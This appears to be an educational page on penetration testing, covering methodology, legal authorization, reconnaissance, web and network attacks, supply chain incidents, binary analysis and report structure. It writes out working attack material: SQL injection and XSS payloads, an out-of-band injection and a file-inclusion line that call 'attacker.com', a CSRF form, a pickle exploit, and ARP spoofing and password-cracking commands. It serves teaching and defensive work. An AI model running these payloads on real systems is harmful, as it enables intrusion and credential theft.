Skip to content

Penetration Testing and Attack Methodologies

Definition. Penetration testing is an authorized, simulated attack against a system, network, or Application to identify exploitable vulnerabilities before adversaries do. The goal is not just Finding bugs — it is demonstrating impact and providing actionable remediation guidance.

TypeTester KnowledgeTypical Use CaseStrengthLimitation
Black boxNone providedRealistic adversarial simulationTests detection and responseTime-consuming, may miss deep issues
White boxFull accessThorough assessment of specific componentsComprehensive coverageDoes not test detection capabilities
Gray boxPartial (user)Balanced assessment with realistic constraintsEfficient, realistic, focused testingMay miss some attack vectors

Black box testing simulates an external attacker with no internal knowledge. The tester must Discover everything from scratch, which makes it the most realistic but also the most expensive in Terms of time. White box testing provides source code, credentials, architecture diagrams, and Network maps, enabling deeper analysis. Gray box provides limited credentials (e.g., a standard user Account) and partial documentation, striking a balance between realism and thoroughness.

MethodologyFull NameFocus AreaKey Characteristic
OWASPOpen Web Application Security ProjectWeb applicationsRisk-based, community-driven, widely adopted
PTESPenetration Testing Execution StandardFull-scope engagementsDetailed phases, technical depth
OSSTMMOpen Source Security Testing MethodologyComprehensive securityMetrics-driven, measures operational security
NIST SP 800-115Technical Guide to Information Security TestingFederal/complianceProcess-oriented, aligned with FISMA
ISSAFInformation Systems Security Assessment FrameworkBroad IT securityDetailed checklist approach

OWASP Testing Guide is the de facto standard for web application testing. It organizes tests Into information gathering, configuration management, identity management, authentication, Authorization, session management, input validation, error handling, cryptography, and business Logic.

PTES defines seven phases: pre-engagement, intelligence gathering, threat modeling, Vulnerability analysis, exploitation, post-exploitation, and reporting. Each phase has specific Technical requirements that must be met before progressing.

OSSTMM focuses on measuring the operational security of systems through a scientifically Rigorous methodology. It produces a Security Metrics Index (SMI) that quantifies security posture.

Scoping --> Recon --> Enumeration --> Vulnerability Analysis
|
Post-Exploitation <-- Exploitation <------------+
|
v
Reporting --> Remediation Support --> Retest

Scoping defines what is in scope (IP ranges, applications, functionality, testing windows), what Is out of scope (production databases, third-party systems, social engineering), rules of engagement (can the tester cause denial of service, can they attempt privilege escalation), and communication Procedures (how to report critical findings immediately).

Reconnaissance gathers information about the target through passive and active means.

Enumeration actively queries systems to identify services, versions, users, and configuration Details.

Vulnerability Analysis correlates enumeration data with known vulnerabilities and identifies Potential attack vectors.

Exploitation attempts to exploit identified vulnerabilities to demonstrate real-world impact.

Post-Exploitation explores what an attacker could do after gaining initial access — Persistence, lateral movement, data access.

Reporting documents findings with severity, impact, reproduction steps, and remediation Guidance.

Rules of engagement are a binding contract between the testing team and the client. They must be Documented and signed before testing begins.

Mandatory elements:
- Authorized IP ranges / domains / applications
- Testing window (start/end times, time zones)
- Points of contact (technical, management, emergency)
- Out-of-scope systems (explicitly listed)
- Prohibited actions (DoS, social engineering, physical access)
- Data handling requirements (no exfiltration of PII)
- Incident response procedures (if systems are impacted)
- Status reporting cadence (daily standup, weekly summary)
- Critical finding escalation process (immediate notification)

Always get written authorization before testing. A verbal agreement or a vague email is not Sufficient. The authorization should specify scope, duration, and rules of engagement. Testing Without explicit written authorization is illegal in most jurisdictions regardless of intent.

Penetration testing operates in a legal gray area that varies by jurisdiction. Key legal frameworks Include:

  • United States: Computer Fraud and Abuse Act (CFAA) — 18 U.S.C. Section 1030. Unauthorized access is a federal crime. Written authorization is the primary defense.
  • United Kingdom: Computer Misuse Act 1990. Similar to CFAA, criminalizes unauthorized access.
  • European Union: Varies by member state but generally follows the Budapest Convention on Cybercrime.
  • Australia: Criminal Code Act 1995, Section 477.1.

The authorization document should reference the specific systems, dates, and testers by name. Retain Copies of all communication and authorization documents.

Reconnaissance is the systematic collection of information about a target. It is the most critical Phase because the quality of intelligence gathered directly determines the effectiveness of Subsequent phases.

Passive reconnaissance collects information without directly interacting with the target system. The Target has no way of knowing it is being observed.

Open source intelligence leverages publicly available information to build a comprehensive picture Of the target.

SourceInformation GatheredTools
WHOISRegistration details, name servers, registrant contactswhoisARIN, RIPE, APNIC
DNS RecordsSubdomains, mail servers, IP mappings, TXT recordsdig``dnsrecon``subfinder
Search EnginesIndexed pages, exposed documents, cached contentGoogle dorking, Shodan, Censys
Social MediaEmployee names, roles, technology stack, office locationsLinkedIn, GitHub, Twitter/X
Job PostingsTechnology requirements, infrastructure detailsIndeed, LinkedIn Jobs, Greenhouse
Code RepositoriesLeaked credentials, API keys, internal URLs, architectureGitHub, GitLab, Bitbucket
Document MetadataAuthor names, software versions, internal pathsexiftoolFOCA, Metagoofil
Certificate LogsSubdomains, organizational structurecrt.sh, Censys Certificate Search
Pastebin/LeaksExposed credentials, API keys, configuration filespaste-bin-searchHaveIBeenPwned

DNS is one of the richest sources of passive intelligence. A single domain can reveal hundreds of Subdomains, each representing a potential attack surface.

Terminal window
# Basic DNS lookup
dig example.com ANY
dig example.com MX
dig example.com TXT
dig example.com NS
# Zone transfer attempt (rarely works but worth checking)
dig axfr example.com @ns1.example.com
# Subdomain enumeration with brute force
dnsrecon -d example.com -t brt -D /usr/share/wordlists/dns.txt
# Passive subdomain discovery
subfinder -d example.com -silent
# Certificate transparency log search
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r ".[].name_value' | sort -u

DNS zone transfers are rarely allowed on public-facing DNS servers anymore, but always check. A Successful zone transfer reveals the complete internal DNS structure in a single request. Many Organizations still misconfigure internal DNS servers to allow transfers.

Google dorking uses advanced search operators to find sensitive information indexed by search Engines.

OperatorPurposeExample
site:Limit results to a domainsite:example.com filetype:pdf
filetype:Search for specific file typessite:example.com filetype:env
inurl:Search for URLs containing textinurl:admin site:example.com
intitle:Search for pages with specific titleintitle:"index of" site:example.com
intext:Search for text within pagesintext:"password" filetype:log
ext:File extensionext:sql site:example.com
cache:View cached version of a pagecache:example.com/admin
link:Pages linking to a URLlink:example.com

Common high-value dorks:

# Configuration files
site:example.com filetype:env OR filetype:yml OR filetype:conf
site:example.com filetype:log
site:example.com filetype:sql
# Exposed directories
intitle:"index of" site:example.com
intitle:"directory listing" site:example.com
# Login portals
inurl:login site:example.com
inurl:admin site:example.com
# Git repositories
inurl:".git" site:example.com
# Backup files
site:example.com filetype:bak OR filetype:old OR filetype:swp
# Error messages revealing technology
"stack trace" site:example.com
"sql syntax" site:example.com
"warning:" site:example.com filetype:php

Shodan is a search engine for internet-connected devices. It scans the entire IPv4 space Continuously and indexes services, banners, and configurations.

Terminal window
# Search for specific services
shodan search "apache" country:US
shodan search "port:3389" country:DE
shodan search "default password" product:nginx
# Search for specific vulnerabilities
shodan search "vuln:CVE-2021-44228"
shodan search "ssl.cert.subject.CN:example.com"
# Find exposed industrial control systems
shodan search "Modbus" port:502
shodan search "Siemens" port:102

SNMPv1 and SNMPv2c transmit community strings in cleartext. Even if you change the community string From “public” to something else, anyone who can capture network traffic can read it. Use SNMPv3 with Authentication and encryption if SNMP is required.

Automated vulnerability scanners compare system configurations and service versions against Databases of known vulnerabilities.

ScannerTypeLicenseStrengths
NessusNetwork/appCommercialComprehensive plugin library, compliance checks
OpenVASNetwork/appOpen sourceFree alternative to Nessus, Greenbone feed
NiktoWeb serverOpen sourceWeb server misconfiguration detection
OWASP ZAPWeb applicationOpen sourceActive/passive scanning, API testing
Burp SuiteWeb applicationCommercialIntercepting proxy, extensibility
TrivyContainer/filesystemOpen sourceCI/CD integration, SBOM generation
GrypeContainer/filesystemOpen sourceFast vulnerability matching
SemgrepSASTOpen sourceCustom rules, multi-language support
Terminal window
# OpenVAS / Greenbone
gvm-setup
gvm-start
# Access web interface at https://127.0.0.1:9392
# Nikto web server scan
nikto -h http://10.0.0.1
nikto -h https://10.0.0.1 -ssl -Tuning x 6
# Trivy container scan
trivy image nginx:latest
trivy fs /path/to/application
trivy repo https://github.com/example/app
# Semgrep SAST scan
semgrep --config auto /path/to/source
semgrep --config p/ci /path/to/source

Automated scanners find known vulnerabilities in known software. Manual testing finds unknown Vulnerabilities, logic flaws, and chained attacks that scanners cannot detect.

When to use manual testing:
- Business logic flaws (e.g., negative quantity orders, race conditions in payments)
- Chained vulnerabilities (e.g., XSS + CSRF for account takeover)
- Authentication/authorization edge cases
- API testing beyond what scanners cover
- Cryptographic implementation flaws
- Session management issues
- Custom protocol testing

The Common Vulnerability Scoring System (CVSS) v3.1 provides a standardized framework for rating Vulnerability severity.

MetricValuesDescription
Attack VectorNetwork / Adjacent / Local / PhysicalHow the vulnerability is exploited
Attack ComplexityLow / HighHow complex the attack is
Privileges RequiredNone / Low / HighPrivileges needed before exploitation
User InteractionNone / RequiredWhether user action is needed
ScopeUnchanged / ChangedDoes exploitation affect other components
ConfidentialityNone / Low / HighImpact on data confidentiality
IntegrityNone / Low / HighImpact on data integrity
AvailabilityNone / Low / HighImpact on system availability
CVSS ScoreSeverityTypical Response Time
0.0NoneInformational
0.1 - 3.9LowNext release cycle
4.0 - 6.9Medium30 days
7.0 - 8.9High7 days
9.0 - 10.0Critical24-48 hours

CVSS is a measure of technical severity, not business risk. A CVSS 9.8 vulnerability on an internal Development server is less risky than a CVSS 7.5 vulnerability on an internet-facing authentication Service. Always combine CVSS with business context when prioritizing remediation.

Every vulnerability finding must be validated before reporting. False positives erode trust and Waste resources.

False positive reduction strategies:
1. Manual verification of every finding
2. Check the exact version (not just "Apache 2.x" but "Apache 2.4.51")
3. Test the exploit against the actual system
4. Check for compensating controls (WAF, IPS)
5. Verify the vulnerability is reachable (not blocked by network segmentation)
6. Cross-reference multiple sources (NVD, vendor advisory, exploit-db)

SQL injection occurs when user input is incorporated into SQL queries without proper sanitization or Parameterization.

Injection types:
1. Error-based: Extract data through database error messages
2. Union-based: Append UNION SELECT to extract additional data
3. Boolean-based blind: Infer data by observing true/false responses
4. Time-based blind: Infer data by observing response delays
5. Stacked queries: Execute multiple statements (limited by database)
6. Out-of-band: Extract data via DNS or HTTP channels
# Error-based injection
' OR 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
# Union-based injection
' UNION SELECT username, password, NULL FROM users--
# Boolean-based blind
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE role='admin')='a'--
# Time-based blind
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'--
# Out-of-band (Microsoft SQL Server)
'; DECLARE @q VARCHAR(1024); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.attacker.com\a';
EXEC master..xp_dirtree @q--
Terminal window
# SQLMap -- the standard automated SQL injection tool
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D dbname --tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --level=5 --risk=3
sqlmap -r request.txt # Read parameters from a captured request file
TypeContextStorageImpact
ReflectedURL parametersNoneSession hijacking, phishing
StoredDatabase, filePersistentMass compromise, defacement
DOM-basedClient-side JSNoneClient-side logic manipulation
XSS payload categories:
- Basic: <script>alert(1)</script>
- Event handler: <img src=x onerror=alert(1)>
- SVG: <svg onload=alert(1)>
- Template injection: {{constructor('alert(1)')()}}
- Attribute breakout: " onfocus=alert(1) autofocus="
- Encoded: %3Cscript%3Ealert(1)%3C/script%3E
- Polyglot: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//

CSRF tricks an authenticated user into executing unwanted actions on a web application where they Are already authenticated.

<!-- Attacker's page that submits a form to the target -->
<form action="https://bank.example.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
document.getElementById('csrf').submit();
</script>

Defenses:

  • Synchronizer Token Pattern (CSRF tokens)
  • SameSite cookie attribute (Strict or Lax)
  • Referer/Origin header validation
  • Custom request headers (XHR/Fetch cannot set without CORS)

SSRF occurs when an attacker can make the server send requests to arbitrary destinations.

Common SSRF targets:
- Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
- Internal network services (Redis on 6379, memcached on 11211)
- Internal web applications and admin panels
- Network infrastructure (routers, switches, firewalls)
- File systems via file:// protocol
- DNS rebinding to bypass allowlists
SSRF bypass techniques:
- IP encoding: 127.0.0.1 = 0x7f000001 = 2130706433 = 0177.0.0.1
- DNS rebinding: resolve to internal IP after allowlist check
- URL parsing tricks: http://allowed@internal:80/
- Redirect chains: http://allowed.com -> http://internal:80/
- IPv6: ::1, ::ffff:127.0.0.1
- Alternative metadata URLs: http://metadata.google.internal/
# Python pickle deserialization -- arbitrary code execution
import pickle, os
class Exploit(object):
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(Exploit())
# When the server unpickles this: pickle.loads(payload) -> runs 'id'
// Java deserialization with Commons Collections
// ysoserial generates payloads that exploit gadget chains
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
// Send payload to a Java RMI, JMX, or other deserializing endpoint
Path traversal sequences:
- ../ (Unix and Windows)
- ..\ (Windows)
- ....// (double encoding bypass)
- %2e%2e%2f (URL encoding)
- %252e%252e%252f (double URL encoding)
- ..%c0%af (Unicode encoding)
File inclusion types:
- Local File Inclusion (LFI): include($_GET['file'])
- Remote File Inclusion (RFI): include('http://attacker.com/shell.php')
- PHP wrapper abuse: php://filter/convert.base64-encode/resource=index.php
MITM prerequisites:
1. Position between client and server (same network, BGP hijack, DNS compromise)
2. Ability to intercept traffic (ARP spoofing, rogue access point, compromised switch)
3. Ability to redirect traffic (ARP spoofing, DNS spoofing, route manipulation)
Terminal window
# ARP spoofing with arpspoof
arpspoof -i eth0 -t 10.0.0.5 10.0.0.1 # Poison victim's ARP cache for gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.5 # Poison gateway's ARP cache for victim
echo 1 > /proc/sys/net/ipv4/ip_forward # Enable IP forwarding
# Bettercap (modern alternative)
bettercap -iface eth0
set arp.spoof.targets 10.0.0.5
arp.spoof on
net.sniff on

ARP spoofing exploits the fact that ARP is stateless and does not verify the identity of responding Hosts. An attacker sends forged ARP responses to associate their MAC address with the target’s IP Address.

Detection methods:
1. Static ARP entries (impractical at scale)
2. ARP monitoring tools (arpwatch, XArp)
3. Port security on switches (MAC limiting)
4. Dynamic ARP Inspection (DAI) on managed switches
5. Network segmentation to limit broadcast domains
Terminal window
# DNS spoofing with bettercap
set dns.spoof.domains target.com
set dns.spoof.address 10.0.0.100 # Attacker's IP
dns.spoof on
# DNS spoofing with dnsspoof
dnsspoof -i eth0 -f hosts.txt
# hosts.txt: 10.0.0.100 target.com
Attack TypeDescriptionTools
Brute ForceTry every possible combinationHydra, Medusa, Patator
Credential StuffingUse leaked username/password pairsSentry MBA, Snipr
Password SprayingTry a few common passwords against many accountsCrackMapExec, SprayingToolkit
Dictionary AttackTry words from a wordlistJohn the Ripper, Hashcat
Rainbow TablesPrecomputed hash lookupsRainbowCrack, Ophcrack
Terminal window
# Hydra -- online brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.1
hydra -L users.txt -P passwords.txt http-post-form://10.0.0.1 "/login:user=^USER^&pass=^PASS^:Failed"
# CrackMapExec -- password spraying
crackmapexec smb 10.0.0.0/24 -u users.txt -p 'Summer2024!' --continue-on-success
# Hashcat -- offline hash cracking
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # MD5
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # NTLM
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # bcrypt
# John the Ripper -- offline hash cracking
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

The most effective social engineering defense is a culture where employees feel comfortable Reporting suspicious activity without fear of punishment. If an employee clicks a phishing link, the Response should be “thank you for reporting it” not “how could you be so careless.” Blame-driven Cultures suppress reporting, which means real attacks go undetected longer.

Definition. A software supply chain attack targets the dependencies, build systems, or Distribution channels of software rather than the software itself. The attacker compromises a Trusted component, and that compromise propagates to every downstream consumer.

Typosquatting registers package names that are common misspellings of popular packages. When Developers mistype a package name, they install the attacker’s package instead.

Example typosquatting targets:
- "reqeusts" instead of "requests" (Python)
- "lodssh" instead of "lodash" (JavaScript)
- "cross-env" -> "cross-env.js" (JavaScript, empty package with name collision)
- "python3-dateutil" instead of "python-dateutil" (Python)
Detection:
- Use dependency lockfiles (package-lock.json, Pipfile.lock, Cargo.lock)
- Review new dependencies before adding them
- Monitor package registries for packages with similar names
- Use tools like `npm audit`, `pip-audit`, `cargo audit`

Dependency confusion exploits package managers that check both public and private registries. An Attacker publishes a higher-versioned package on the public registry with the same name as an Internal package.

Attack flow:
1. Developer's project depends on "internal-utils" version 1.0.0 (private registry)
2. Attacker publishes "internal-utils" version 99.0.0 on public registry (npm/PyPI)
3. Package manager resolves to the public version (higher version number)
4. Developer's build now includes attacker's code
Mitigations:
- Configure package managers to prefer private registries (npm: .npmrc, pip: --index-url)
- Use scoped packages (npm @company/package)
- Implement package allowlists
- Monitor public registries for internal package names
- Use SLSA framework for build provenance

Attackers gain access to a legitimate maintainer’s account and publish malicious versions of trusted Packages.

Attack vectors:
- Credential theft of maintainer accounts
- Social engineering of maintainers
- Adding malicious committers to trusted projects
- Compromising package registry accounts
- Supply chain insider threat (malicious maintainer)
Mitigations:
- Require 2FA for all package registry accounts
- Require multiple reviewers before publishing
- Package provenance verification (SLSA, sigstore)
- Monitor package contents for changes (diff published versions)
- Pin exact versions in production
- Use private registries with curated packages
CI/CD attack surfaces:
1. Compromised build scripts: Malicious code in build.gradle, Makefile, Dockerfile
2. Poisoned build agents: Malicious runner images, compromised build servers
3. Secret exfiltration: Stealing CI/CD secrets (API keys, signing keys) from environment
4. Dependency substitution: Replacing dependencies during build with malicious versions
5. Build logic manipulation: Modifying CI pipeline definitions to inject malicious steps
6. Artifact tampering: Modifying build artifacts after generation but before deployment
7. PR-based attacks: Malicious pull requests that modify CI/CD configuration
8. Workflow injection: GitHub Actions injection via self-hosted runner exploitation
CI/CD hardening:
- Use ephemeral, immutable build agents (containers)
- Least-privilege service accounts for CI/CD
- Sign build artifacts with provenance attestations
- Pin action versions in GitHub Actions (use SHA, not tags)
- Separate build and deployment credentials
- Review all CI/CD configuration changes with same rigor as application code
- Use OIDC federation instead of stored secrets where possible
- Audit CI/CD logs regularly
Attack types:
1. Code signing key theft: Stealing the private key used for signing
2. Signing infrastructure compromise: Compromising the build server that holds the key
3. Malicious signing: Insider signs malicious code with valid certificate
4. Certificate authority compromise: Compromising the CA that issues certificates
5. Signature stripping: Removing or replacing signatures
6. Timestamp forgery: Manipulating code signing timestamps

Definition. A Software Bill of Materials is a formal record of the components and dependencies That make up a software package. It enables organizations to quickly identify affected systems when A vulnerability is discovered in a dependency.

SBOM standards:
- SPDX (Software Package Data Exchange): ISO standard, widely adopted
- CycloneDX: OWASP project, JSON/XML, lightweight
SBOM contents:
1. Component name and version
2. Component supplier/author
3. Component hash (SHA-256 or similar)
4. Dependency relationships
5. License information
6. Vulnerability references (CVEs)
Tools:
- Syft (Anchore): Generate SBOMs from container images and filesystems
- Trivy: Generate SBOMs as part of vulnerability scanning
- SPDX Tool: Generate and validate SPDX documents
- Dependency-Track: Manage and monitor SBOMs at scale

The Supply-chain Levels for Software Artifacts (SLSA) framework defines a series of security levels That describe the integrity guarantees of a software supply chain.

LevelNameRequirements
0No provenanceNo guarantees, build process is not documented
1DocumentedBuild process is documented, provenance exists
2HostedBuild runs on hosted build service, provenance is authenticated
3ProvenanceBuild is reproducible, non-falsifiable provenance
4HermeticTwo-party review, hermetic build, reproducible
Terminal window
# sigstore/Cosign -- signing and verifying container images
cosign sign --key cosign.key registry.example.com/myapp:v1.0.0
cosign verify --key cosign.pub registry.example.com/myapp:v1.0.0
# SLSA provenance with GitHub Actions
# .github/workflows/build.yml
# uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml
# Verify SLSA provenance
slsa-verifier verify-image registry.example.com/myapp:v1.0.0 \
--source-uri github.com/example/myapp
Terminal window
# npm
npm audit # Check for known vulnerabilities
npm audit fix # Automatically fix vulnerabilities
npm audit signatures # Verify package signatures
# Python
pip-audit # Check installed packages against vulnerability DB
safety check --full-report # Safety CLI for dependency checking
# Rust
cargo audit # Check Cargo.lock against RustSec advisory DB
# Go
govulncheck ./... # Check Go code and dependencies for vulnerabilities
# Java
mvn org.owasp:dependency-check-maven:check
gradle dependencyCheckAnalyze
# Container images
trivy image myapp:latest
grype myapp:latest
IncidentYearAttack VectorImpact
SolarWinds2020Build system compromise, malicious update18,000+ organizations, US government agencies
Codecov2021CI/CD script tamperingHundreds of customers’ CI/CD secrets exposed
event-stream2018Malicious maintainer additionBitcoin wallet stealing from Copay users
ua-parser-js2021Maintainer account compromisenpm package with malware, 7M+ weekly downloads
colors.js/faker2022Protest/malicious updateNon-malicious but broke builds (protestware)
xz-utils2024Long-term social engineering, backdoor in liblzmaNearly compromised SSH on Linux systems
Attack timeline:
1. Attacker gained access to SolarWinds build environment (months before detection)
2. Injected malicious code into Orion build process (SUNBURST backdoor)
3. Signed malicious updates with valid SolarWinds code signing certificate
4. Distributed to ~18,000 customers via automatic update mechanism
5. Backdoor provided persistent access to victim networks
6. Attacker selectively escalated access on high-value targets
Key lessons:
- Build environment security is as important as application security
- Code signing does not guarantee code is safe (signing key was legitimate)
- Automatic updates are a high-trust operation
- Supply chain attacks can bypass virtually all perimeter defenses
- Need for build provenance and reproducible builds
Attack timeline:
1. "Jia Tan" (pseudonymous maintainer) contributed to xz-utils over 2+ years
2. Built trust and social-engineered original maintainer (Lasse Collin) into reducing involvement
3. Pushed malicious changes to liblzma build system (configure scripts, test files)
4. Backdoor modified the RSA public key verification in OpenSSH's authentication path
5. Only activated when linked by specific systemd configurations (distribution-dependent)
6. Discovered by Andres Freund noticing ~500ms latency in SSH connections on Debian sid
7. Backdoor was present in xz-utils 5.6.0 and 5.6.1 (beta/rc releases)
Key lessons:
- Open source maintainer burnout is a security risk
- Long-term social engineering can be more effective than technical exploits
- Obfuscated build scripts (m4 macro injection) are hard to review
- Performance anomalies can be the first indicator of compromise
- Single-maintainer projects with critical infrastructure dependencies are high-risk
- Need for reproducible builds and deterministic compilation

The xz-utils incident is particularly significant because it was caught by accident — a developer Noticed a 500ms latency in SSH connections and investigated. Without that observation, the backdoor Could have reached stable releases of major Linux distributions, compromising SSH authentication Worldwide. This underscores the importance of reproducible builds and independent verification of Build artifacts.

Static analysis examines a binary without executing it. It extracts information from the binary’s Structure, instructions, and data.

ToolLicensePlatformKey Features
GhidraOpen sourceCross-platformNSA-developed, decompiler, scripting (Java/Python), collaborative
IDA ProCommercialWindows/Linux/macOSIndustry standard, Hex-Rays decompiler, extensive plugin ecosystem
radare2Open sourceCross-platformCLI-first, scripting (r2pipe), binary analysis framework
Binary NinjaCommercialCross-platformModern UI, API-first design, MLIL/HLIL decompilation
CutterOpen sourceCross-platformGUI for radare2, user-friendly interface
objdumpGNULinuxBasic disassembly, part of binutils
readelfGNULinuxELF file analysis, section/header inspection
Terminal window
# Ghidra headless analysis
analyzeHeadless /tmp/project myproject -import target_binary -postScript analyze.py
# radare2 basic analysis
r2 -A target_binary # Open with auto-analysis
r2 -q -c "aaa; pdf @main" target_binary # Analyze and disassemble main function
# objdump disassembly
objdump -d target_binary | less
objdump -t target_binary # Symbol table
objdump -h target_binary # Section headers
# readelf ELF analysis
readelf -h target_binary # ELF header
readelf -S target_binary # Section headers
readelf -s target_binary # Symbol table
readelf -r target_binary # Relocation entries
readelf -l target_binary # Program headers (segments)
# Strings extraction
strings target_binary | grep -i "password\|key\|secret\|token"
strings -t x target_binary # With hex offsets

Decompilation transforms low-level assembly or intermediate representation back into higher-level Pseudocode that resembles C or C++.

Decompilation challenges:
1. Lost type information: All variables become integers or pointers
2. Lost structure: Control flow is preserved but high-level abstractions are gone
3. Compiler optimizations: Inlining, loop unrolling, dead code elimination obscure logic
4. Obfuscation: Control flow flattening, string encryption, virtualization
5. Anti-decompilation: Checks for debuggers, integrity checks on code sections

Dynamic analysis executes the binary in a controlled environment and observes its behavior.

Terminal window
# Basic GDB usage
gdb ./target_binary
(gdb) break main # Set breakpoint at main
(gdb) break *0x400500 # Set breakpoint at address
(gdb) run # Start execution
(gdb) step # Step into function
(gdb) next # Step over function
(gdb) continue # Continue to next breakpoint
(gdb) info registers # Show register values
(gdb) x/16xb $rsp # Examine 16 bytes at stack pointer
(gdb) x/s 0x400600 # Examine string at address
(gdb) set $eax = 0 # Modify register
(gdb) call function_name() # Call a function
(gdb) info functions # List all functions
(gdb) disas main # Disassemble function
(gdb) backtrace # Show call stack
(gdb) info proc mappings # Show memory mappings
Terminal window
# strace -- trace system calls
strace ./target_binary
strace -f ./target_binary # Follow child processes
strace -e trace=network ./target_binary # Only network syscalls
strace -e trace=open,openat,read,write ./target_binary
strace -p <PID> # Attach to running process
# ltrace -- trace library calls
ltrace ./target_binary
ltrace -e "strcpy*+printf*" ./target_binary
ltrace -C ./target_binary # Count library calls

ELF is the standard binary format on Linux and most Unix-like systems.

ELF structure:
┌─────────────────────────┐
│ ELF Header │ Magic number, class, architecture, entry point
├─────────────────────────┤
│ Program Headers │ Memory layout for loader (segments)
├─────────────────────────┤
│ .text │ Executable code
│ .rodata │ Read-only data (strings, constants)
│ .data │ Initialized global/static variables
│ .bss │ Uninitialized global/static variables
│ .got │ Global Offset Table (runtime address resolution)
│ .plt │ Procedure Linkage Table (lazy function calls)
│ .symtab │ Symbol table
│ .strtab │ String table
│ .rela/.rel │ Relocation entries
│ .dynamic │ Dynamic linking information
├─────────────────────────┤
│ Section Headers │ Describe sections (names, types, offsets)
└─────────────────────────┘

PE is the executable format on Windows.

PE structure:
┌─────────────────────────┐
│ DOS Header │ MZ magic, points to PE header
├─────────────────────────┤
│ PE Signature │ "PE\0\0"
├─────────────────────────┤
│ COFF File Header │ Machine type, number of sections, timestamp
├─────────────────────────┤
│ Optional Header │ Entry point, image base, subsystem, data directories
│ - Import Table │ DLLs and functions this binary imports
│ - Export Table │ Functions this binary exports
│ - Resource Table │ Icons, dialogs, strings
│ - Base Relocations │ Address fixups for ASLR
│ - IAT │ Import Address Table (resolved import addresses)
│ - TLS Callbacks │ Thread-local storage initialization
├─────────────────────────┤
│ Section Headers │ .text, .data, .rdata, .rsrc, etc.
├─────────────────────────┤
│ Sections │ Raw section data
└─────────────────────────┘

Mach-O is the executable format on macOS and iOS.

Mach-O structure:
┌─────────────────────────┐
│ Mach-O Header │ Magic, CPU type, file type, number of load commands
├─────────────────────────┤
│ Load Commands │ Segment definitions, dynamic linker info, entry point
│ - LC_SEGMENT_64 │ Memory segments (__TEXT, __DATA, __LINKEDIT)
│ - LC_DYLD_INFO │ Dynamic linking information
│ - LC_SYMTAB │ Symbol table
│ - LC_DYSYMTAB │ Dynamic symbol table
│ - LC_LOAD_DYLIB │ Linked dynamic libraries
│ - LC_MAIN │ Entry point offset
│ - LC_CODE_SIGNATURE │ Code signing information
├─────────────────────────┤
│ Sections │ __text, __stubs, __cstring, __data, etc.
└─────────────────────────┘
Static anti-analysis:
1. String encryption: Encrypt strings, decrypt at runtime
2. Control flow flattening: Replace structured control flow with state machine
3. Code virtualization: Transform code into custom bytecode with custom VM
4. Code obfuscation: Insert junk code, reorder instructions, opaque predicates
5. Packing/compression: Compress executable, decompress at runtime (UPX, Themida)
6. Symbol stripping: Remove debug symbols and function names
7. Import obfuscation: Resolve imports dynamically (GetProcAddress, dlopen)
8. Anti-disassembly: Insert instructions that disassemble differently than they execute
Dynamic anti-analysis:
1. Debugger detection: IsDebuggerPresent, ptrace, timing checks
2. Virtual machine detection: Check for VM artifacts (CPUID, MAC addresses, drivers)
3. Anti-attach: Prevent debugger attachment (NtSetInformationThread)
4. Integrity checks: Verify code sections haven't been modified
5. Anti-dump: Prevent memory dumping of the process
6. Timing checks: Detect single-stepping (RDTSC timing)
7. Environment checks: Detect analysis tools, sandboxes, modified system files
Firmware analysis workflow:
1. Identify the firmware format (binary blobs, UEFI, embedded Linux, router firmware)
2. Extract the filesystem (binwalk, firmware-mod-kit, jefferson)
3. Analyze the filesystem contents (directory structure, binaries, configuration files)
4. Extract and analyze binaries (ELF, proprietary formats)
5. Identify communication protocols (serial, JTAG, SPI, UART)
6. Look for default credentials, hardcoded keys, debug interfaces
7. Identify update mechanisms and sign/verify processes
Common firmware analysis tools:
- binwalk: Signature-based extraction of embedded files and filesystems
- Firmadyne: Automatic firmware emulation and dynamic analysis
- FACT: Firmware Analysis and Comparison Tool
- fuzzware: Firmware fuzzing with QEMU
- Ghidra: Static analysis of extracted binaries
Terminal window
# Firmware extraction with binwalk
binwalk -Me firmware.bin # Extract and recursively scan
binwalk firmware.bin # List identified components
# UEFI firmware analysis
uefi-firmware-parser -e bios.bin
UTK (UEFI Tool Kit) for detailed UEFI analysis
# Common findings in firmware:
# - Default or hardcoded credentials
# - Unencrypted filesystems
# - Debug interfaces enabled (UART, JTAG)
# - Unsigned firmware updates
# - Outdated components with known vulnerabilities
# - Web management interfaces with common vulnerabilities

A professional penetration test report must serve multiple audiences: executives who need risk Context, managers who need remediation priorities, and engineers who need technical details to fix The issues.

Report structure:
1. Executive Summary (1-2 pages)
- Overall risk posture
- Critical findings count
- Key recommendations
- Business impact summary
2. Engagement Details
- Scope (in-scope and out-of-scope)
- Testing methodology
- Testing dates and duration
- Team composition
- Assumptions and limitations
3. Findings Summary
- Findings by severity (Critical, High, Medium, Low, Informational)
- Risk-rated matrix
- Comparison with previous assessments (if applicable)
4. Detailed Findings (each finding includes)
- Finding title and severity
- Description
- Impact (business and technical)
- Evidence (screenshots, logs, output)
- Proof of concept (reproduction steps)
- CVSS score and vector
- Remediation recommendations
- References (CVEs, CWEs, vendor advisories)
5. Appendices
- Raw tool output
- Full scan results
- Glossary
- Testing methodology details
SeverityCVSS RangeDescriptionExample
